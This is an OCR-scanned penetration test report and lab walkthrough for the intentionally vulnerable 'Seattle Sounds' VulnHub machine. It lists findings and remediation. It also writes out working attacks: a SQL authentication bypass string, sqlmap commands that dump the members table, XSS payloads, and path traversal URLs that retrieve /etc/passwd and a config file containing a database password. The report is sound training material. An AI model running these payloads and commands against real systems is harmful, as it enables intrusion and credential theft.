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1.0 Introduction

Seattle Sounds is running a website which is an eCommerce style web
application. The management level of Seattle Sounds assigned InfoSec Ninjas
to carry out a penetration test on the site to see if there is any vulnerability and
to see if the server can be compromised via the web application vulnerability.

The Seattle Sounds website is hosting at 192.168.1.145. The penetration test
is conducted between Oct 16, 2016 and Oct 17, 2016. The scope is to test the
Seattle Sounds web application only.

This is the report for the result of the blackbox penetration testing.
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2.0 Summary Result for Management Level

The following list is the vulnerabilities discovered after the test.

Encryption

Vulnerability Severity Risk

SQL Injection Critical Web application hijacking
Database file hijacking
Administrative account hijacking

Authentication Bypass Critical Web application hijacking
Database file hijacking
Administrative account hijacking

Stored Cross-Site High Administrative session hijacking

Scripting Client session hijacking

Reflected Cross-Site High Administrative session hijacking

Scripting Client session hijacking

Insecure Direct Object Medium Administrative account data leakage

Reference

Sensitive Data Exposure |Medium Servers and web application

& Local File Inclusion configuration data leakage

Weak Password Medium Administrative password leakage

2.1 Conclusion for Management Level

Final Severity Grading is CRITICAL.

The penetration testing result is showing that the web application program and
the database can be compromised via the vulnerabilities of the web application
program. The web application and database can be controlled by intruder(s).
However, the Linux server for web application is configured properly and it
cannot be controlled via the web application program vulnerabilities.

By Samiux of InfoSec Ninjas

Page 4 of 29




Seattle Sounds — Penetration Testing Report

3.0 Summary Result for Technical Level

The following list is the result of the penetration test.

(A) SQL Injection
The login page (My Account) of the website for both “usermail” and “password”
are vulnerable to Blind SQL Injection.

The variables “usermail” and “password” require data input validation and
sanitization.

(B) Authentication Bypass
The login page (My Account) of the website for “password” is vulnerable. It can
be bypassed with special code.

The variable “password” requires data input validation and sanitization.

(C) Stored and Reflected Cross-Site Scripting
The Blog page variables “content” and “author” are vulnerable to Stored and
Reflected Cross-Site Scritping respectively.

The variables require data input sanitization.

(D) Insecure Direct Object Reference
The Blog page variables “author” can be changed and it is allowed to view
other accounts.

The variable “author” requires to conduct access control check to ensure it is
authorized for the request.

(E) Sensitive Data Exposure & Local File Inclusion

The download page (the front website image) is variable to Path Traversal. The
configuration file (config.php) of web application and files of Linux server (such
as /etc/passwd) can be accessed and downloaded. It is vulnerable to Local File
Inclusion.

The admin directory and info.php can be accessed. Since phpinfo() of info.php
can be accessed, the sensitive information is exposed.

The exposure of sensitive information usually due to misconfigure of the web
application and/or Linux server.

(F) Weak Password Encryption
The password of tbIMembers table in database is stored in plain text.
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Strong data encryption with salt is required for the sensitive data storage, such
as password.

3.1 Conclusion for Technical Level

Final Severity Grading is CRITICAL.

The Linux server and/or Web application are required to re-configurate for
security hardening.

The web application should be re-do some of the programming to ensure all
data input are validated and sanitized. Meanwhile, the password stored in the
database should be encrypted with strong encryption method. Normally, the
libraries for web application are required to re-programming only if it is a well
designed web application system.

The /var/www/html directory is configured properly that intruder(s) cannot
upload backdoor to the directories.
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4.0 Summary for Penetration Testing

4.1 Tools Used

The following is the list of tools that using for the penetration testing. They are
all latest official released version as at Oct 16, 2016.

(A) Firefox
(B) SQLMap
(C) ZAProxy

The Seattle Sounds web application is providing HTTP service only and only
Port 80 is opened.

4.2 Walkthrough

Part | - Critical

(A) Sensitive Data Exposure
(B) Authentication Bypass

(C) SQL Injection

(D) Weak Password Encryption

When browsing the Seattle Sounds website, we find the email address
“admin@seattlesounds.net” at the bottom of “Terms and Conditions” page.
Further confirmed by clicking the “by Admin” at Blog page that the previous
email address is used for the login. This is vulnerable to Sensitive Data

Exposure. (Figure 1 to 2)

Command : http://192.168.1.145/blog.php?author=1
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Mozilla Firefox e ® O

/ http://192.1..hp?author=1 x | &

192.168.1.145/blo

. .; i .
\. e
Sounds

Viewing all posts by Admin (admin@seattlesounds.net)

®m

L Hey! by Admin
B Welcome to our site!
=

Testing :) by Admin

Justtesting out new blog.

v

|-—>

Figure 1

Command : https://192.168.1.145/terms.php

Mozilla Firefox e e O
/ http://192.1..45/terms.php x | &

192.168.1.145/terms.php | @ |Q Search W B 3+ #

ost Visited v JllOffensive Security & Kali Linux “& Kali Docs “& Kali Tools = Exploit-DB WyAircrack-ng [@ phpVirtualBox €»VulnHub

any page of this Website.

Invalidity

If any part of the Terms of Service is unenforceable (including any provision in which we exclude our liability to you) the enforceability of any
other part of the Terms of Service will not be affected all other clauses remaining in full force and effect. So far as possible where any
clause/sub-clause or part of a clause/sub-clause can be severed to render the remaining part valid, the clause shall be interpreted
accordingly. Alternatively, you agree that the clause shall be rectified and interpreted in such a way that closely resembles the original
meaning of the clause /sub-clause as is permitted by law.

Complaints
We operate a complaints handling procedure which we will use to try to resolve disputes when they first arise, please let us know if you
have any complaints or comments.

Waiver
If you breach these conditions and we take no action, we will still be entitled to use our rights and remedies in any other situation where you
breach these conditions.

Entire Agreement

The above Terms of Service constitute the entire agreement of the parties and supersede any and all preceding and contemporaneous
agreements between you and Seattle Sounds. Any waiver of any provision of the Terms of Service will be effective only if in writing and
signed by a Director of Seattle Sounds.

If additional information is required, please contact ERINTEEE e ENE

e
=
a
L)

m @

« Catalogue « Login

« Vinyl « About
« Clothing

Figure 2

We then go to the login page, My Account, entered the username with the
previous email address and (‘ or 1=1 -- ) for the password (ignore the
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brackets). After that, the admin is logged in with this attempt. This is
vulnerable to Authentication Bypass. (Figure 3 to 4)

Command : http://192.168.1.145/account.php

Mozilla Firefox

/ http://192.1../account.php x | &
€ ) (0 | 192.168.1.145/account. phy ¢ | @ |Q Search wE 9 & A =
[ Most Visited v JllOffensive Security & Kali Linux “& Kali Docs " Kali Tools -Explmt DB W Aircrack-ng EIpthlrtualBox € VulnHub

Current level: 1

admin@seattlesounds.net sessssssnnse

Figure 3
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Mozilla Firefox e ® O
/ http://192.1..gin=success X | &
€ 192.168.1.145/account. php?lagin=su c|@ wEa U 3+ a =

[ Most Visited v JllOffensive Security " Kali Linux "% Kali Docs “& Kali Tools # Exploit

Hello Admin! [Logout]

Post new blog:
Title: |

Content:
|

Post |

Figure 4

In general speaking, if the input field is vulnerable to Authentication Bypass, it
may be also vulnerable to SQL Injection. We then confirmed that both
variables “usermail” and ‘password” are vulnerable to SQL Injection by using
SQLMap.

The SQLMap result is showing that the current database user is administrator
(DBA). Meanwhile, the password of the “admin” account is using plain text
without any encryption. This is vulnerable to Weak Password Encryption.
(Figure 5 to 8)

Command : ./sqlmap.py -u "http://192.168.1.145/login.php"
--data="usermail=admin%40seattlesounds.net&password=1234" --dbs
--cookie="level=1; lang=USD" --level=3 --risk=3 --is-dba --batch
--flush
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root@kali: ~/Documents/scanners/sqlmap (- C -]

File Edit View Search Terminal Help

Payload: usermail=admin@seattlesounds.net' RLIKE (SELECT (CASE WHEN (7628=7628) THEN 0x61646d696e4073656174746c65736T756264732e6e6574 ELSE 0x28 ENig
D))-- iVuj&password=1234

Type: error-based

Title: MySQL 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: usermail=admin@seattlesounds.net' AND (SELECT 8388 FROM(SELECT COUNT(*),CONCAT(@x717a6a7671, (SELECT (ELT(8388=8388,1))),0x71626a7671,FL00
R(RAND(8)*2))x FROM INFORMATION SCHEMA.PLUGINS GROUP BY x)a)-- Nkze&password=1234

Type: AND/OR time-based blind
Title: MySOL 5.0.12 AND time-based blind
Payload: usermail=admin@seattlesounds.net' AND SLEEP(5)-- Nhjz&password=1234

:59:47] [INFO] the back-end DBMS is MySQL
rver operating system: Linux Fedora 23
application technology: PHP 5.6.14, Apache 2.4.16
back-end DBMS: MySQL >= 5.0

current user is DBA: True

available databases [4]:
*] information schema
mysql
performance schema
seattle

shutting down at 02:59:48

Figure 5

Command : ./sqlmap.py -u "http://192.168.1.145/login.php"
--data="usermail=admin%40seattlesounds.net&password=1234" --dbs
--cookie="level=1; lang=USD" --level=3 --risk=3 --is-dba -D seattle
--tables --batch

root@kali: ~/Documents/scanners/sqlmap (- IO -]

File Edit View Search Terminal Help

web server operating system: Linux Fedora 23

web application technology: PHP 5.6.14, Apache 2.4.16
back-end DBMS: MySQL >= 5.0

current user is DBA: True

available databases [4]:
[*] information schema
[*] mysql

[*] performance schema
[*] seattle

Database: seattle

b
\

tb1Blogs
tblMembers |
tb1Products

\ \
+ +

[*] shutting down at 03:01:04

Figure 6
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Command : ./sqlmap.py -u "http://192.168.1.145/login.php"
--data="usermail=admin%40seattlesounds.net&password=1234" --dbs
--cookie="level=1; lang=USD" --level=3 --risk=3 --is-dba -D seattle -T
tbiIMembers --columns --batch

root@Kkali: ~/Documents/scanners/sqlmap e ® O
File Edit View Search Terminal Help

Database: seattle
Table: thlMembers

[7 columns]
R e +

+

| session | varchar(32) |
| admin | int(11)
| int(11)
| int(11)

| varchar(64) |

password | varchar(20) |

| username | varchar(64) |

B e +

[*] shutting down at 03

:~/Documents/s

Figure 7

Command : ./sqlmap.py -u "http://192.168.1.145/login.php"
--data="usermail=admin%40seattlesounds.net&password=1234" --dbs
--cookie="level=1; lang=USD" --level=3 --risk=3 --is-dba -D seattle -T
tbiIMembers --dump --batch
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root@Kkali: ~/Documents/scanners/sqlmap e ® O
File Edit View Search Terminal Help

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y

what dictionary do you want to use?

[1] default dictionary file '/root/Documents/scanners/sqlmap/txt/wordlist.zip® (press Enter)
[2] custom dictionary file

[3] file with list of dictionary files

R

do you want to use common password suffixes? (slow!) [y/N] N

Database: seattle
rs

| id | name | blog | admin | username | password | session

R Fommmm oo e oo Fommmmm oo

| 1 | Admin | 1 | admin@seattlesounds.net | Assasinl | 4cff8a69eb2824aebd478b9745ba6955 (adm attlesounds.net) |
s +ommmm oo e e B e +

[*] shutting down at 03:03:36

:~/Documents/scann

Figure 8

Part Il - High

(A) Reflected Cross-Site Scripting
(B) Stored Cross-Site Scripting

We are browsing Blog page, we test the “author” with
[“><script>alert(“XSS”)</script>] (ignore [] brackets) and we confirm that
it is vulnerable to Reflected Cross-Site Scripting. (Figure 9)

Command : http://192.168.1.145/blog.php?
author="><script>alert(“XSS”)</script>
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5
Mozilla Firefox [— IO < ]

}’  Connecting... x \\1-
\6 ) @ 192.168.1.145/blog.php?author="><script>alert("X55")</script>

x ‘ =) |Qvumhub -)l #% B 4+ A& =

[ Most Visited v JllOffensive Security "\ Kali Linux %, Kali Docs " Kali Tools = Exploit-DB Y Aircrack-ng [@ phpVirtualBox €2VulnHub

Read 192.168.1.145

Figure 9

We log in to the login page (My Account) with admin credentials (or
Authentication Bypass). We enter the [“><script>alert(“XSS”)</script>].
Please ignore [] brackets. We confirm that the “content” field is valuable to

Stored Cross-Site Scripting. (Figure 10 to 12)

Command : http://192.168.1.145/account.php
Log in to : http://192.168.1.145/account.php?login=success

Command : “><script>alert(“XSS”)</script>
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Mozilla Firefox e ® O
/ http://192.1..gin=success X | &
€ 192.168.1.145/account.php?lagin=success ¢ | @ |Q Search wEa U 3+ a =

[ Most Visited v [JllOffensive Security " Kali Linux "% Kali Docs "% Kali Tools # Exploit-DB W Aircrack-ng [El phpVirtualBox € VulnHub

Current level: 1

Hello Admin! [Logout]

Post new blog:
Title: [

Content:
|

| Post |

! L

Figure 10

Mozilla Firefox e 60 O
http://192.1...gin=success % | #
€ 192.168.1.145/account.php?login=success ¢ | @ |Q vulnhub B U ¥ & =

{51 Most Visited v JllOffensive Security S Kali Linux S Kali Docs " Kali Tools & Exploit-DB Wy Aircrack-ng [@l phpVirtualBox €2VulnHub

Current level: 1

i

N % Hi
Sounds
[ vome | vmi | conng | meg ] wyaceon |

Hello Admin! [Logout]

Post new blog:
Title: lhello

Content:
"><script=alert("¥55")</scripts] ‘

| Post |

! L

Figure 11

Command : Press <Post> button and refresh the page
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. .
Mozilla Firefox e o0

[ € hitp://192..p?author=1 x | &

((-\(D 192.168.1.145/blog. php?author=1 % | @ |2 vulnhub B -ak= + & =

[ Most Visited v [JllOffensive Security " Kali Linux "\ Kali Docs "% Kali Tools # Exploit-DB W Aircrack-ng [Zl phpVirtualBox € VulnHub

Waiting for 192.168.1.145...

Figure 12

Part Ill - Medium

(A) Sensitive Data Exposure
(B) Path Traversal
(C) Local File Inclusion

We are using ZAProxy’s “Force Browse” feature to crawl the website. We find
an interesting folder “admin” and we find some PHP files with admin function.
This is vulnerable to Sensitive Data Exposure. (Figure 13)

Command : http://192.168.1.145/admin/
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Index of /admin - Mozilla Firefox (- JC <)

Index of /admin LN

\& 192.168.1.145 ® ear wBa 9 3 &
S Most Visited v JllOffensive Security " Kali Linux "% Kali Docs "% Kali Tools % Exploit-DB W Aircrack-ng [El phpVirtualBox €»VulnHub

@ndex of /admin

@

H Name Last modified Size Description
a Parent Directory -

4] ladmin.php 2016-04-11 15:37 89

@ admincontent.php 2016-04-11 15:37 607
[£jladminheader.php 2016-04-11 15:37 396

[£)adminnavphp  2016-04-11 15:37 675
=

(EINE

oa

Figure 13

Browsing the site, we find error message on products page when we using (‘)
(ignore the brackets) to test the URL. It states that MariaDB is the database.
This is vulnerable to Sensitive Data Exposure. (Figure 14)

However, this error message cannot lead to SQL Injection as it is confirmed
false positive.

Command : http://192.168.1.145/details.php?prod=1'&type=1
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Mozilla Firefox e ® O
/ hitp://192... 1%278type=1 x | #

€ ) 192‘168.1‘145fdeta\Ls.php7prod=l'&type=ﬂ \'|® A, vulnhub B O 4+ /& =

[ Most Visited v JllOffensive Security " Kali Linux & Kali Docs “& Kali Tools  Exploi

g pVirtualBox €»VulnHub

DB Error, could not query the database MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your
MariaDB server version for the right syntax to use near " at line 1

¥
—_—— — [

Figure 14

We further test the website, we find the image at the front page leads to
download a PDF file. We test it with “../../../..[../..]../../etc/passwd” (ignhore
the quotation marks) and it downloaded a file which contained the content of
/etc/passwd. This is vulnerable to Path Traversal. (Figure 15 to 17)

Command : http://192.168.1.145/download.php?item=Brochure.pdf
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Mozilla Firefox e ® O
/ hittp://192.168.1.145/ LI

http://192.168.1.145/download. php? item=Brachure. pd 2| @ .:T_\__‘fﬁ'n'clw = + & =

st Visited v [JllOffensive Security " Kali Linux " Kali Docs & Kali Tools # Exploit-DB W Aircrack-ng [Zl phpVirtualBox € VulnHub
Ct i1 G 2

B
Grab our stock brochure here!

v
§ 5

Figure 15

Command : http://192.168.1.145/download.php?
item=../../../../..]..]..]../[etc/passwd

Mozilla Firefox e 60 O

tem=..L.L.L.LJ. ). 1. Jetc/passwd el @ Q, Search " B O 3 & =

Opening passwd
You have chosen to open:
Home & passwd

which is: BIN file (1.3 KB)
from: http://192.168.1.145

Would you like to save this file?

i Cancel -:..w‘— Flle

B

0l

Grab our stock brochure here!

v
; 5

Figure 16

Content of passwd file :
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passwd

Open ~ || 01 Downloads sae |20 OO

[root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
1p:x:4:7:1p:/var/spool/1lpd:/sbin/nologin
sync:x:5:8:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/shin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
systemd-timesync:x:999:997:systemd Time Synchronization:/:/sbhin/nologin
systemd-network:x:998:996:systemd Network Management:/:/sbin/nologin
systemd-resolve:x:997:995:systemd Resolver:/:/shin/nologin
systemd-bus-proxy:x:996:994:systemd Bus Proxy:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin

mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
tepdump:x:72:72::/:/sbin/nologin

</div>

<div class="products-list"></div>

| Plain Text w  Tab Width: 8 w Ln1, Coll - INS

Figure 17

We are thinking that if we can get any PHP file from the previous “admin”
directory via Path Traversal vulnerability. We confirm that we can download any
PHP file, for example “../admin/admin.php”. We are guessing the
configuration file of the web application is “config.php”. Later, we can
download the “config.php” file via the Path Traversal vulnerability. So, this is
vulnerable to Local File Inclusion. (Figure 18 to 19)

Command : http://192.168.1.145/download.php?item=../config.php
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Mozilla Firefox e ® O
/ hittp://192.168.1.145/ LI

€) |192.168.1.145/do (e ]| @ [ search 1w & & & =

[ Most Visited v JllOffensive Security " Kali Linux "\ Kali Docs "% Kali Tools # Exploit-DB W Aircrack-ng [Zl phpVirtualBox € VulnHub
C :1 G

Opening config.php

You have chosen to open:

Home & config.php y Account
which is: PHP script (131 bytes)
from: http://192.168.1.145

Would you like to save this file?

| Cancel ' Save File

Grab our stock brochure here!

|192-158-1-145fd°W"L°ad-PhP-"tem=5f°mE-Pdf— -

Figure 18

The content of config.php :

| opn - |[m] Dot E3ECEE
k?php

$host = 'localhost';

$user = 'root';

$pass = 'Alexis*94';

$database = 'seattle';

>

</div>

<div class="products-list"></div>

| PHP w Tab Width: 8 + Ln1, Coll b INS

Figure 19
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Part IV - Medium

(A) Insecure Direct Object Reference
(B) Sensitive Data Exposure

When viewing the source code of Blog page, we find a link “/blog.php?
author=1" very interesting. We try to find out that if it can display the admin
account details without restriction. The username of the admin account, i.e.
admin@seattlesounds.net is also displayed. We then change the “author”
parameter to 2 and it can display the information about the author even there
is no other user in the database except admin. So, it is vulnerable to Insecure
Direct Object Reference. (Figure 20 to 22)

http://192.168.1.145/blog.php - Mozilla Firefox e 9o

http://192.1..145/blog.php % | http://192.168.1.145/blo.. x | #

(i) | view-source:http://192.168.1.145/blog. php C | @ |Q Search B 9 F #

Visited v [JllOffensive Security “& Kali Linux "8 Kali Docs "% Kali Tools # Exploit-DB Y Aircrack-ng [@l phpVirtualBox €»VulnHub
s rruppreT—
ﬂ div class="header">
B- <div class="header-text"></div=<div class="header-grad"=Seattle Sounds</div>
W </div>
Q}J <div style="background-color:white; width:100%; margin: @ auto;"s
| <div class="nav-wrapper">
ﬁd <div class="nav-main">
a <a href="/"><div class="nav-button"=Home</div=</a>

1 <a href="/products.php?type=1"><div class="nav-button">Vinyl</div></a>
£ < href="/products.php?type=2"><div class="nav-button">Clothing</div=</a>
| <a href"/blog.php"><div class="nav-button">Blog</divs</a>
| <a href="/account.php"><div class="nav-button">My Account</div==/a>
o </dive
ﬁ“ </div>
o </div>
| <div class="content">
S0 <div class="prod-box">
| <div class="prod-details">
g}a <div class="list-blog"><strong>Hey!</strong> by <a href-JAETHITSEd eat>Adnin</a><br /><br />Welcome to our sitel<br /></div=<div class="list-blog"><strong>Testing :)</strong> by <a h
o </div=
,jé «div class="bottom-text">
"Eﬂ <div class="bottom-wrapper"s
.| <div class="bottom-cell">
e al>
d <li><a href=/download.php?item=Brochure.pdf-Catalogue</a></1i>
| <li><a href="/products.php?type=1">Vinyl</a></li>
1 <li=<a href="/products.php?type=2">Clothing</li>
%];a <br />
</div>
1 <div class="bottom-cell">
<ul>

Jd f=/account.php=Login</a></li>
G —/about . php>About</a</Lix
. <br /=

B <br /-

o <l

M </div=

| «div class="bottom-cell"s
<ul><li><a href="/blog.php?lang=GBP">GBP</a></1i><li><a href="/blog.php?lang=EUR">EUR</a></li><li><a href="/blog.php?lang=USD">USD</a></li=<br />
</div>
<div class="bottom-cell"s
<ul>

| <li><a href:“terms.ihi”>T&(5<i’a><ili>
Figure 20

Command : http://192.168.1.145/blog.php?author=1
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Mozilla Firefox e ® O
/ http://192.1..hp?author=1 x | &
192.168.1.145/blog.php?author=1 ¢ | @ |Q Search YT A 9 A =

t Visited v JllOffensive Security " Kali Linux "% Kali Docs "% Kali Tools # Exploit-DB W Aircrack-ng [El phpVirtualBox € VulnHub

Current level: 1 el 2

. “:! “.7 d -

Viewing all posts by Admin (admin@seattlesounds.net)

Hey! by Admin

Welcome to our site!

Testing :) by Admin

Justtesting out new blog.

Figure 21

Command : http://192.168.1.145/blog.php?author=2

Mozilla Firefox e 60 O
hitp://192.1..hp?author=2 x |
€ ) (0 | 192.168.1.145/blog.php?author=2 ¢ | @ |Q Search B U ¥+ & =

{51 Most Visited v JllOffensive Security S Kali Linux S Kali Docs " Kali Tools = Exploit-DB W Aircrack-ng hpVirtualBox €2 VulnHub
- : ,

e ¥

an

. g ulet

Viewing all posts by ()

Couldn't find any posts by author: 2.

v
5

Figure 22

Finally, we try to guess if there is any “phpinfo.php” page. We try phpinfo.php
with no success. Then, we try to use “info.php” and it displays the phpinfo()
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page. It also reveals the web root directory is at /var/www/html. Itis
vulnerable to Sensitive Data Exposure. (Figure 23 to 24)

Command : http://192.168.1.145/info.php

-

phpinfo() - Mozilla Firefox 00

'/ phpinfa) x|+

(D | 192.168.1.145/info.php a | @ ‘0\ Search ‘ % B8 3 A =

ost Visited v JflOffensive Security “ Kali Linux "% Kali Docs "% Kali Tools  Exploit-DB Wy Aircrack-ng [& phpVirtualBox €2 VulnHub

Php 1

System Linux localhost.localdomain 4.2.3-300.fc23.x86_64 #1 SMP Mon Oct 5 15:42:54 UTC 2015 x86_64
Build Date Sep 30 2015 12:55:35
Server APl Apache 2.0 Handler
Virtual Directory Support disabled
O Configuration File (php.ini) Path Jetc
Loaded Configuration File Jetc/php.ini
= Scan this dir for additional .ini files fetc/php.d
® Additional .ini files parsed fetctphp.d]zu-bz?..iqi. ,'etc,lphp.d,‘Zﬂ—caIlendiar.‘ini. ]ﬁc]nhp.deﬂ{Wpe.ini. tetc]php.d]zu-cuﬂ.ipi.
Jetc/php.d/20-exifini, fetc/php.d/20-fileinfo.ini, /etc/php.d/20-ftp.ini, fetc/php.d/20-gettext.ini,
® ,‘etctphp.d,'zu-iconv;ir;i, letc,'php.d,'zu-\dap.ini: ,‘.etcfphp.d,'m-mysq.\nd.i.ni: fetc/php.df20-pdo.ini,
Jetc/php.d/20-phar.ini, fetc/php.df20-sockets.ini, fetc/php.d/20-sqlite3.ini, fetc/php.d
/20-tokenizer.ini, jetc/php.d/30-mysql.ini, fetc/php.d/30-mysqli.ini, fetc/php.d/30-pdo_mysqgl.ini,
(2] Jetc/php.d/30-pdo_sqlite.ini. /etc/php.d/40-son.ini
= PHP APl 20131106
PHP i 20131226
Zend Extension 220131226
Zend Extension Build API220131226,NTS
PHP Extension Build API20131226.NTS
Debug Build no
Thread Safety disabled
Zend Signal Handling disabled
Zend Memory Manager enabled
| Zend Multibyte Support disabled
IPv6 Support enabled hJ

Figure 23
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=

x\‘-ln

phpinfo() - Mozilla Firefox

'/ phpinfa)

(| 192.168.1.145/info.php

e | @ [Qsearch

a9 3+ &

ost Visited v JflOffensive Security “ Kali Linux "% Kali Docs "% Kali Tools  Exploit-DB Wy Aircrack-ng [& phpVirtualBox €2 VulnHub

?

(E2IRNE: I B

Figure 24

o TG ST ST a

SERVER_SIGNATURE

no value

SERVER_SOFTWARE

Apache/2.4.16 (Fedora) OpenS5L/1.0.2d-fips PHP/5.6.14

SERVER_NAME

192.168.1.145

SERVER_ADDR

192.168.1.145

SERVER_PORT 80
REMOTE_ADDR 192.168.1.112
DOCUMENT_ROOT fvarfwww/html
REQUEST_SCHEME http
‘CONTEXT_PREFIX no value

CONTEXT_DOCUMENT_ROOT

SERVER_ADMIN

root@localhost

SCRIPT FILENAME var/wwwihtml/info.php
REMOTE_PORT 40822

‘GATEWAY _INTERFACE CGIf1.1
SERVER_PROTOCOL HTTP/1.1

T_METHOD GET

‘QUERY_STRING no value
REQUEST_URI finfo.php
SCRIPT_NAME finfo.php

HTTP Headers Information

HTTP GET finfo.php HTTP/1.1
Host 192.168.1.145
User-Agent

Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
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Appendix A

About Seattle Sounds

Seattle Sounds web application is a virtual machine and it is vulnerable by
design. The author of this virtual machine is HollyGraceful who is a female
penetration tester. This report is about the penetration testing of the version
0.3 with Level 1. The virtual machine is designed for beginner and/or
Moderate. This web application has the following vulnerabilities :

SQL Injection

Reflected and Stored Cross-Site Scripting
Insecure Direct-Object Reference
Username Enumeration

Path Traversal

Exposed phpinfo()

Exposed Administrative Interface

Weak Admin Credentials

You can download it at https://www.vulnhub.com/entry/seattle-v03,145/
To extract the downloaded file in debian or Ubuntu Linux :

sudo apt-get install p7zip
7z x Seattle-0.0.3.7z
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Appendix B

About InfoSec Ninjas

Penetration Tester and report writer of this penetration test is Samiux (nick
samiux) who is an Information Security Enthusiast. He is OSCE, OSCP and
OSWP. He is also running a website namely InfoSec Ninjas. His slogan is :

While you do not know attack, how can you know about defense?
(RAB, BHIBA?)

He has some active projects about information security, they are :
(1) Almond Croissants - Intrusion Detection and Prevention System
(2) Danish - Intrusion Detection System

(3) NightHawk - Torified Ubuntu VPN Server

(4) Secure Ubuntu Web Server with Hiawatha

He can be reached at :

(1) Samiux’s Blog - https://samiux.blogspot.com

(2) InfoSec Ninjas - https://www.infosec-ninjas.com

(3) IRC - freenode #infosec-ninjas

Reference

The following certificates are issued by Offensive Security
(https://www.offensive-security.com) :

OSCE - Offensive Security Certified Expert

OSCP - Offensive Security Certified Professional
OSWP - Offensive Security Wireless Professional
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Appendix C

Reference

OWASP Testing Guide v4 -
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4 Table_of Contents

OWASP Top 10 Project -
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

SQLMap - http://sqlmap.org/
ZAProxy - https://github.com/zaproxy/zaproxy

Firefox - https://www.mozilla.org/en-US/firefox/products/
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End of the Report
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